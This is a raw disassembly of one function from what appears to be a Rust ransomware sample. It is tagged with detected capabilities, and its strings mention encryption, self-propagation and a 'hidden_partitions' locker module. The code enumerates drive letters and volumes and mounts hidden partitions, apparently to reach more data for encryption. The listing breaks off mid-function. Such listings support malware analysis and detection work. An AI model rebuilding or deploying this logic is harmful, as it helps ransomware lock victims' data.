Function at 0x49bd00
Capabilities:
Enumerate disk volumes
Get disk information
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xc8
movsd xmm0, qword [ecx]
movsd xmm1, qword [ecx + 8]
mov eax, dword [ecx + 0x18]
movsd xmm2, qword [ecx + 0x10]
movsd qword [ebp - 0xc4], xmm0
mov dword [ebp - 0xac], eax
movsd qword [ebp - 0xb4], xmm2
movsd qword [ebp - 0xbc], xmm1
mov eax, dword [ebp - 0xc4]
lock inc dword [eax]
jle 0x49c0e7
mov dword [ebp - 0xc8], eax
lock inc dword [eax + 8]
mov eax, dword [0x6f11c8]
cmp eax, 3
jb 0x49be03
mov eax, dword [0x6f1080]
mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea edx, [ebp - 0x84]
mov dword [ebp - 0x84], 3
mov dword [ebp - 0x80], str.encrypt_app::windowssrc_bin_encrypt_app_windows.rsTrying_to_self_propagate_to
mov dword [ebp - 0x7c], 0x14
mov dword [ebp - 0x78], 0x61f9c0
mov dword [ebp - 0x74], 1
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x68], str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x58], 0x14
mov dword [ebp - 0x5c], str.encrypt_app::windowssrc_bin_encrypt_app_windows.rsTrying_to_self_propagate_to
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x4c], 0x1e
mov dword [ebp - 0x50], 0x61f924
mov dword [ebp - 0x48], 1
mov dword [ebp - 0x44], 0xf0
cmp eax, 2
mov eax, 0x6857f8
cmove eax, dword [0x605020]
cmove ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
push edx
push ecx
call dword [eax + 0x14]
add esp, 8
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x41
call fcn.004d8e00
test al, al
je 0x49be28
mov edi, dword [ebp - 0x20]
cmp edi, 0x110000
je 0x49be28
mov bl, 0x42
jmp 0x49c19e
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x42
call fcn.004d8e00
test al, al
je 0x49be4d
mov edi, dword [ebp - 0x20]
cmp edi, 0x110000
je 0x49be4d
mov bl, 0x43
jmp 0x49c19e
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x43
call fcn.004d8e00
test al, al
je 0x49be72
mov edi, dword [ebp - 0x20]
cmp edi, 0x110000
je 0x49be72
mov bl, 0x44
jmp 0x49c19e
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x44
call fcn.004d8e00
test al, al
je 0x49be97
mov edi, dword [ebp - 0x20]
cmp edi, 0x110000
je 0x49be97
mov bl, 0x45
jmp 0x49c19e
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x45
call fcn.004d8e00
test al, al
je 0x49bebc
mov edi, dword [ebp - 0x20]
cmp edi, 0x110000
je 0x49bebc
mov bl, 0x46
jmp 0x49c19e
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x46
call fcn.004d8e00
test al, al
je 0x49bee1
mov edi, dword [ebp - 0x20]
cmp edi, 0x110000
je 0x49bee1
mov bl, 0x47
jmp 0x49c19e
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x47
call fcn.004d8e00
test al, al
je 0x49bf06
mov edi, dword [ebp - 0x20]
cmp edi, 0x110000
je 0x49bf06
mov bl, 0x48
jmp 0x49c19e
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x48
call fcn.004d8e00
test al, al
je 0x49bf2b
mov edi, dword [ebp - 0x20]
cmp edi, 0x110000
je 0x49bf2b
mov bl, 0x49
jmp 0x49c19e
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x49
call fcn.004d8e00
test al, al
je 0x49bf50
mov edi, dword [ebp - 0x20]
cmp edi, 0x110000
je 0x49bf50
mov bl, 0x4a
jmp 0x49c19e
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x4a
call fcn.004d8e00
test al, al
je 0x49bf75
mov edi, dword [ebp - 0x20]
cmp edi, 0x110000
je 0x49bf75
mov bl, 0x4b
jmp 0x49c19e
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x4b
call fcn.004d8e00
test al, al
je 0x49bf9a
mov edi, dword [ebp - 0x20]
cmp edi, 0x110000
je 0x49bf9a
mov bl, 0x4c
jmp 0x49c19e
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x4c
call fcn.004d8e00
test al, al
je 0x49bfbf
mov edi, dword [ebp - 0x20]
cmp edi, 0x110000
je 0x49bfbf
mov bl, 0x4d
jmp 0x49c19e
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x4d
call fcn.004d8e00
test al, al
je 0x49bfe4
mov edi, dword [ebp - 0x20]
cmp edi, 0x110000
je 0x49bfe4
mov bl, 0x4e
jmp 0x49c19e
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x4e
call fcn.004d8e00
test al, al
je 0x49c009
mov edi, dword [ebp - 0x20]
cmp edi, 0x110000
je 0x49c009
mov bl, 0x4f
jmp 0x49c19e
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x4f
call fcn.004d8e00
test al, al
je 0x49c02e
mov edi, dword [ebp - 0x20]
cmp edi, 0x110000
je 0x49c02e
mov bl, 0x50
jmp 0x49c19e
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x50
call fcn.004d8e00
test al, al
je 0x49c053
mov edi, dword [ebp - 0x20]
cmp edi, 0x110000
je 0x49c053
mov bl, 0x51
jmp 0x49c19e
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x51
call fcn.004d8e00
test al, al
je 0x49c078
mov edi, dword [ebp - 0x20]
cmp edi, 0x110000
je 0x49c078
mov bl, 0x52
jmp 0x49c19e
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x52
call fcn.004d8e00
test al, al
je 0x49c09d
mov edi, dword [ebp - 0x20]
cmp edi, 0x110000
je 0x49c09d
mov bl, 0x53
jmp 0x49c19e
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x53
call fcn.004d8e00
test al, al
je 0x49c0c2
mov edi, dword [ebp - 0x20]
cmp edi, 0x110000
je 0x49c0c2
mov bl, 0x54
jmp 0x49c19e
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x54
call fcn.004d8e00
test al, al
je 0x49c0eb
mov edi, dword [ebp - 0x20]
cmp edi, 0x110000
je 0x49c0eb
mov bl, 0x55
jmp 0x49c19e
ud2
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x55
call fcn.004d8e00
test al, al
je 0x49c110
mov edi, dword [ebp - 0x20]
cmp edi, 0x110000
je 0x49c110
mov bl, 0x56
jmp 0x49c19e
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x56
call fcn.004d8e00
test al, al
je 0x49c132
mov edi, dword [ebp - 0x20]
cmp edi, 0x110000
je 0x49c132
mov bl, 0x57
jmp 0x49c19e
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x57
call fcn.004d8e00
test al, al
je 0x49c154
mov edi, dword [ebp - 0x20]
cmp edi, 0x110000
je 0x49c154
mov bl, 0x58
jmp 0x49c19e
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x58
call fcn.004d8e00
test al, al
je 0x49c176
mov edi, dword [ebp - 0x20]
cmp edi, 0x110000
je 0x49c176
mov bl, 0x59
jmp 0x49c19e
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x59
call fcn.004d8e00
mov bl, 0x5a
test al, al
je 0x49d0c8
mov edi, dword [ebp - 0x20]
cmp edi, 0x110000
je 0x49d0c8
mov dword [ebp - 0x10], 0
mov eax, dword [0x6f1130]
test eax, eax
jne 0x49c1c0
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x49d0b7
mov dword [0x6f1130], eax
push 4
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x49d0b7
mov ecx, dword [ebp - 0x10]
mov dword [eax], edi
mov edx, 1
lea edi, [ebp - 0x20]
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x80], 1
mov dword [ebp - 0x7c], 1
jmp 0x49c210
mov cl, 1
mov bl, 0x5a
cmp edx, dword [ebp - 0x80]
je 0x49c25c
mov dword [eax + edx*4], esi
inc edx
mov dword [ebp - 0x7c], edx
test cl, cl
mov dword [ebp - 0x24], edx
jne 0x49c2a7
cmp bl, 0x5a
ja 0x49c2a7
movzx ebx, bl
mov dword [ebp - 0x10], eax
nop word [eax + eax]
cmp ebx, 0x5a
je 0x49c280
mov ecx, edi
mov dword [ebp - 0x20], ebx
inc ebx
call fcn.004d8e00
test al, al
je 0x49c230
mov esi, dword [ebp - 0x20]
cmp esi, 0x110000
je 0x49c230
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x10]
xor ecx, ecx
cmp edx, dword [ebp - 0x80]
jne 0x49c209
mov eax, ecx
lea ecx, [ebp - 0x84]
mov dword [ebp - 0x10], eax
call fcn.00415fb0
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x84]
jmp 0x49c209
mov ecx, edi
mov dword [ebp - 0x20], 0x5a
call fcn.004d8e00
test al, al
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x10]
je 0x49c2a7
mov esi, dword [ebp - 0x20]
cmp esi, 0x110000
jne 0x49c200
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x80]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0xa8], ecx
mov eax, dword [0x6f1130]
test eax, eax
jne 0x49c2d7
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x49d09a
mov dword [0x6f1130], eax
push 0x20a
push 8
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x49d09a
mov ebx, eax
push 0x20a
push eax
call sub.KERNEL32.dll_FindFirstVolumeW
cmp eax, 0xffffffff
mov dword [ebp - 0x8c], eax
je 0x49c779
mov esi, dword [0x6d6b64]
mov dword [ebp - 0x90], ebx
jmp 0x49c344
push dword [ebp - 0x34]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov ebx, dword [ebp - 0x90]
mov esi, dword [0x6d6b64]
test edi, edi
je 0x49c76e
mov eax, dword [0x6f1130]
test eax, eax
jne 0x49c35f
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x49d09a
mov dword [0x6f1130], eax
push 0x20a
push 8
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x49d09a
mov edi, eax
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
push 0
push 0x20a
push eax
push ebx
call sub.KERNEL32.dll_GetVolumePathNamesForVolumeNameW
test eax, eax
mov dword [ebp - 0x34], edi
je 0x49c470
xor edx, edx
xor ebx, ebx
jmp 0x49c3d8
mov eax, dword [ebp - 0x10]
mov esi, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x7c]
mov edi, dword [ebp - 0x34]
lea ebx, [ebx + eax + 1]
lea eax, [edx + edx*2]
inc edx
mov dword [esi + eax*4 + 8], ecx
movsd xmm0, qword [ebp - 0x84]
movsd qword [esi + eax*4], xmm0
mov dword [ebp - 0x28], edx
cmp ebx, 0x20b
jae 0x49d054
mov dword [ebp - 0x10], esi
mov esi, edx
add edi, ebx
push edi
call sub.KERNEL32.dll_lstrlenW
cmp eax, 3
jb 0x49c460
cmp eax, ebx
jb 0x49d06a
cmp eax, 0x20a
ja 0x49d07d
mov ecx, edi
mov dword [ebp - 0x10], eax
call fcn.004d5570
mov edi, edx
mov esi, eax
lea ecx, [ebp - 0x84]
mov edx, eax
push edi
call fcn.00600b20
add esp, 4
test edi, 0x7fffffff
mov word [esi], 0
je 0x49c443
push esi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov edx, dword [ebp - 0x28]
cmp edx, dword [ebp - 0x2c]
jne 0x49c3b0
lea ecx, [ebp - 0x30]
call fcn.0047de40
mov edx, dword [ebp - 0x28]
jmp 0x49c3b0
test esi, esi
je 0x49c480
mov ebx, esi
mov esi, dword [ebp - 0x10]
jmp 0x49c6f0
xor ebx, ebx
jmp 0x49c6f0
mov eax, dword [ebp - 0x24]
mov esi, dword [ebp - 0x10]
test eax, eax
je 0x49c541
mov ecx, dword [ebp - 0x94]
lea edx, [ebp - 0xa4]
mov dword [ebp - 0x84], 0x6212a8
mov dword [ebp - 0x80], 2
mov dword [ebp - 0x7c], 0
lea edi, [eax - 1]
mov dword [ebp - 0x40], edx
lea edx, [ebp - 0x84]
mov dword [ebp - 0x3c], 0x50e6f0
lea ebx, [ecx + eax*4 - 4]
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x74], ecx
lea ecx, [ebp - 0x20]
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0x70], 1
call fcn.0040a660
mov esi, dword [ebp - 0x18]
test esi, esi
js 0x49d093
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xd0], ebx
mov dword [ebp - 0x88], eax
je 0x49c54f
mov eax, dword [0x6f1130]
mov dword [ebp - 0xcc], ecx
test eax, eax
jne 0x49c527
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x49d0a9
mov dword [0x6f1130], eax
push esi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
mov ecx, dword [ebp - 0xcc]
mov edi, eax
test eax, eax
jne 0x49c554
jmp 0x49d0a9
xor ebx, ebx
mov dword [ebp - 0x24], 0
jmp 0x49c6f0
mov edi, 1
push esi
push ecx
push edi
mov ebx, ecx
call sub.msvcrt.dll_memcpy
add esp, 0xc
cmp dword [ebp - 0x88], 0
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x38], esi
je 0x49c581
push ebx
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [0x6f11c8]
cmp eax, 2
jbe 0x49c65b
mov eax, dword [ebp - 0xd0]
mov ecx, 0x6857f8
mov edx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
mov dword [ebp - 0xa0], eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0xa0]
mov dword [ebp - 0x1c], 0x41e510
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0x505440
mov eax, dword [0x6f1080]
mov dword [ebp - 0x84], 3
mov dword [ebp - 0x80], str.locker::core::os::windows::hidden_partitionsl
mov dword [ebp - 0x7c], 0x2c
mov dword [ebp - 0x78], 0x6212e0
mov dword [ebp - 0x74], 2
mov dword [ebp - 0x70], 0
cmp eax, 2
mov eax, dword [0x605020]
cmovne eax, ecx
mov ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
cmovne ecx, edx
lea edx, [ebp - 0x20]
mov dword [ebp - 0x68], edx
lea edx, [ebp - 0x84]
mov dword [ebp - 0x64], 2
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x58], 0x2c
mov dword [ebp - 0x5c], str.locker::core::os::windows::hidden_partitionsl
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x4c], 0x28
mov dword [ebp - 0x50], str.src_core_os_windows_hidden_partitions.rsl
mov dword [ebp - 0x48], 1
mov dword [ebp - 0x44], 0x3c
push edx
push ecx
call dword [eax + 0x14]
add esp, 8
mov edi, dword [ebp - 0x40]
mov eax, dword [ebp - 0x38]
mov ebx, dword [ebp - 0x3c]
lea ecx, [ebp - 0x20]
add eax, edi
mov edx, edi
push 0
push eax
call fcn.005079e0
add esp, 8
mov eax, dword [ebp - 0x18]
movsd xmm0, qword [ebp - 0x20]
lea ecx, [ebp - 0x84]
mov dword [ebp - 0x7c], eax
movsd qword [ebp - 0x84], xmm0
call fcn.004d5680
mov esi, eax
test ebx, ebx
mov dword [ebp - 0x88], edx
je 0x49c6ae
push edi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
push dword [ebp - 0x90]
push esi
call sub.KERNEL32.dll_SetVolumeMountPointW
mov ecx, dword [ebp - 0x24]
test eax, eax
mov word [esi], 0
cmovne ecx, dword [ebp - 0x10]
test dword [ebp - 0x88], 0x7fffffff
mov dword [ebp - 0x24], ecx
je 0x49c6e5
push esi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov esi, dword [ebp - 0x30]
mov ebx, dword [ebp - 0x28]
nop dword [eax + eax]
push 0x20a
push dword [ebp - 0x90]
push dword [ebp - 0x8c]
call sub.KERNEL32.dll_FindNextVolumeW
mov edi, eax
test ebx, ebx
je 0x49c740
shl ebx, 2
add esi, 4
lea ebx, [ebx + ebx*2]
jmp 0x49c728
add esi, 0xc
add ebx, 0xfffffff4
je 0x49c740
cmp dword [esi], 0
je 0x49c720
push dword [esi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x49c720
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x49c320
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x49c320
push dword [ebp - 0x30]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x49c320
push dword [ebp - 0x8c]
call sub.KERNEL32.dll_FindVolumeClose
push ebx
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
test dword [ebp - 0xa8], 0x3fffffff
je 0x49c7a6
push dword [ebp - 0x94]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [0x6f11c8]
cmp eax, 2
jbe 0x49c855
mov eax, dword [0x6f1080]
mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea edx, [ebp - 0x84]
mov dword [ebp - 0x84], 3
mov dword [ebp - 0x80], str.encrypt_app::windowssrc_bin_encrypt_app_windows.rsTrying_to_self_propagate_to
mov dword [ebp - 0x7c], 0x14
mov dword [ebp - 0x78], 0x61f9e0
mov dword [ebp - 0x74], 1
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x68], str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x58], 0x14
mov dword [ebp - 0x5c], str.encrypt_app::windowssrc_bin_encrypt_app_windows.rsTrying_to_self_propagate_to
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x4c], 0x1e
mov dword [ebp - 0x50], 0x61f924
mov dword [ebp - 0x48], 1
mov dword [ebp - 0x44], 0xf3
cmp eax, 2
mov eax, 0x6857f8
cmove eax, dword [0x605020]
cmove ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
push edx
push ecx
call dword [eax + 0x14]
add esp, 8
lea ecx, [ebp - 0xa0]
call fcn.004dcae0
mov eax, dword [ebp - 0x98]
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x49c99f
mov edi, dword [ebp - 0xa0]
lea ebx, [ebp - 0x84]
jmp 0x49c89c
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff4
je 0x49c99f
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x84], 0x6212a8
mov dword [ebp - 0x80], 2
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x10], eax
add edi, 0xc
mov esi, ebx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x74], ecx
lea ecx, [ebp - 0x40]
mov edx, ebx
mov dword [ebp - 0x1c], 0x55cec0
mov dword [ebp - 0x70], 1
call fcn.0040a660
mov ebx, dword [ebp - 0x38]
test ebx, ebx
js 0x49d093
mov ecx, dword [ebp - 0x40]
je 0x49c930
mov eax, dword [0x6f1130]
mov dword [ebp - 0x34], ecx
test eax, eax
jne 0x49c911
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x49d0a1
mov dword [0x6f1130], eax
push ebx
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
mov ecx, dword [ebp - 0x34]
test eax, eax
jne 0x49c935
jmp 0x49d0a1
mov eax, 1
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x80], ebx
push ebx
push ecx
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov dword [ebp - 0x7c], ebx
mov ebx, esi
mov byte [ebp - 0x78], 0
lea ecx, [ebp - 0x20]
lea edx, [ebp - 0xbc]
push esi
call fcn.004739a0
add esp, 4
cmp byte [ebp - 0x14], 2
je 0x49c980
cmp dword [ebp - 0x1c], 0
je 0x49c980
push dword [ebp - 0x20]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [ebp - 0x3c], 0
je 0x49c890
push dword [ebp - 0x40]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x49c890
mov eax, dword [0x6f11c8]
cmp eax, 2
jbe 0x49ca4e
mov eax, dword [0x6f1080]
mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea edx, [ebp - 0x84]
mov dword [ebp - 0x84], 3
mov dword [ebp - 0x80], str.encrypt_app::windowssrc_bin_encrypt_app_windows.rsTrying_to_self_propagate_to
mov dword [ebp - 0x7c], 0x14
mov dword [ebp - 0x78], 0x61fa04
mov dword [ebp - 0x74], 1
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x68], str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x58], 0x14
mov dword [ebp - 0x5c], str.encrypt_app::windowssrc_bin_encrypt_app_windows.rsTrying_to_self_propagate_to
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x4c], 0x1e
mov dword [ebp - 0x50], 0x61f924
mov dword [ebp - 0x48], 1
mov dword [ebp - 0x44], 0xf9
cmp eax, 2
mov eax, 0x6857f8
cmove eax, dword [0x605020]
cmove ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
push edx
push ecx
call dword [eax + 0x14]
add esp, 8
cmp dword [ebp - 0xac], 0
jne 0x49ce40
mov eax, dword [ebp - 0x98]
mov edi, dword [0x6d6b64]
test eax, eax
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
je 0x49cb56
mov ecx, dword [ebp - 0xa0]
lea eax, [eax + eax*2]
xor ebx, ebx
xor esi, esi
lea eax, [eax*4 - 0xc]
mov dword [ebp - 0x10], eax
nop word [eax + eax]
lea edx, [ebp - 0xa4]
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0xd4], ecx
lea ecx, [ebp - 0x30]
lea eax, [ebp - 0xd4]
mov dword [ebp - 0x84], 0x683378
mov dword [ebp - 0x80], 2
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x74], ecx
lea ecx, [ebp - 0x20]
lea edx, [ebp - 0x84]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x2c], 0x4ae120
mov dword [ebp - 0x70], 1
call fcn.0040a660
cmp esi, ebx
jne 0x49cb0c
lea ecx, [ebp - 0x40]
mov edx, ebx
call fcn.0047de40
mov edi, dword [ebp - 0x40]
mov esi, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x18]
lea eax, [esi + esi*2]
mov dword [edi + eax*4 + 8], ecx
movsd xmm0, qword [ebp - 0x20]
movsd qword [edi + eax*4], xmm0
mov eax, dword [ebp - 0x10]
mov esi, dword [ebp - 0x38]
inc esi
test eax, eax
mov dword [ebp - 0x38], esi
je 0x49cb42
mov ecx, dword [ebp - 0x34]
mov ebx, dword [ebp - 0x3c]
add eax, 0xfffffff4
mov dword [ebp - 0x10], eax
add ecx, 0xc
jmp 0x49caa0
mov eax, dword [ebp - 0x3c]
mov ebx, dword [ebp - 0x40]
mov edi, dword [0x6d6b64]
mov dword [ebp - 0x88], eax
jmp 0x49cb64
xor esi, esi
mov dword [ebp - 0x88], 0
mov ebx, edi
lea eax, [esi + esi*2]
test esi, esi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x8c], ebx
lea ecx, [ebx + eax*4]
je 0x49cca0
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x24], ecx
add eax, 0xc
jmp 0x49cbd2
mov eax, dword [ebp - 0x30]
mov esi, dword [ebp - 0x90]
lea ecx, [edx + edx*2]
inc edx
mov dword [eax + ecx*4], edi
mov dword [eax + ecx*4 + 8], esi
mov esi, dword [ebp - 0x10]
mov dword [eax + ecx*4 + 4], esi
mov dword [ebp - 0x28], edx
mov edx, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x24]
lea eax, [ebx + 0xc]
add edx, 0xc
cmp edx, ecx
je 0x49cca0
mov edi, dword [eax - 0xc]
mov ebx, eax
test edi, edi
je 0x49cc9d
lea ecx, [ebx - 0xc]
mov edx, edi
mov eax, dword [ecx + 4]
mov esi, dword [ecx + 8]
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x84]
mov dword [ebp - 0x10], eax
push esi
call fcn.005ea6c0
add esp, 4
cmp byte [ebp - 0x84], 0
je 0x49cc50
cmp byte [ebp - 0x80], 3
jne 0x49cc80
mov esi, dword [ebp - 0x7c]
mov eax, dword [esi + 4]
push dword [esi]
call dword [eax]
add esp, 4
mov ecx, dword [esi + 4]
cmp dword [ecx + 4], 0
je 0x49cc3d
mov eax, dword [esi]
cmp dword [ecx + 8], 9
jb 0x49cc2f
mov eax, dword [eax - 4]
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
push esi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x49cc80
cmp byte [ebp - 0x83], 0
mov dword [ebp - 0x90], esi
je 0x49cc80
mov edx, dword [ebp - 0x28]
cmp edx, dword [ebp - 0x2c]
jne 0x49cba0
lea ecx, [ebp - 0x30]
call fcn.0047de40
mov edx, dword [ebp - 0x28]
jmp 0x49cba0
cmp dword [ebp - 0x10], 0
je 0x49cbbe
push edi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x49cbbe
mov ecx, dword [ebp - 0x24]
sub ecx, ebx
je 0x49ccdf
sar ecx, 2
add ebx, 4
imul eax, ecx, 0xaaaaaaab
shl eax, 2
lea esi, [eax + eax*2]
jmp 0x49ccc8
add ebx, 0xc
add esi, 0xfffffff4
je 0x49ccdf
cmp dword [ebx], 0
je 0x49ccc0
push dword [ebx - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x49ccc0
mov eax, dword [ebp - 0x88]
test eax, eax
je 0x49cd06
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x49cd06
push dword [ebp - 0x8c]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [ebp - 0x28]
mov ebx, dword [ebp - 0x30]
lea ecx, [eax*4]
lea ecx, [ecx + ecx*2]
test ecx, ecx
je 0x49cde7
add ecx, ebx
mov dword [ebp - 0x10], ecx
jmp 0x49cd3c
add ebx, 0xc
cmp ebx, dword [ebp - 0x10]
je 0x49cde1
mov edi, dword [ebx + 8]
test edi, edi
js 0x49d093
mov esi, dword [ebx]
je 0x49cd80
mov eax, dword [0x6f1130]
test eax, eax
jne 0x49cd66
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x49d0a5
mov dword [0x6f1130], eax
push edi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
jne 0x49cd85
jmp 0x49d0a5
mov eax, 1
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x80], edi
push edi
push esi
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x84]
mov dword [ebp - 0x7c], edi
mov byte [ebp - 0x78], 0
lea ecx, [ebp - 0x20]
lea edx, [ebp - 0xbc]
push eax
call fcn.004739a0
add esp, 4
cmp byte [ebp - 0x14], 2
je 0x49cd30
cmp dword [ebp - 0x1c], 0
je 0x49cd30
push dword [ebp - 0x20]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x49cd30
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x49ce1f
shl eax, 2
add ebx, 4
lea esi, [eax + eax*2]
jmp 0x49ce08
add ebx, 0xc
add esi, 0xfffffff4
je 0x49ce1f
cmp dword [ebx], 0
je 0x49ce00
push dword [ebx - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x49ce00
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x49ce40
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x49ce40
push dword [ebp - 0x30]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [0x6f11c8]
cmp eax, 2
jbe 0x49ceef
mov eax, dword [0x6f1080]
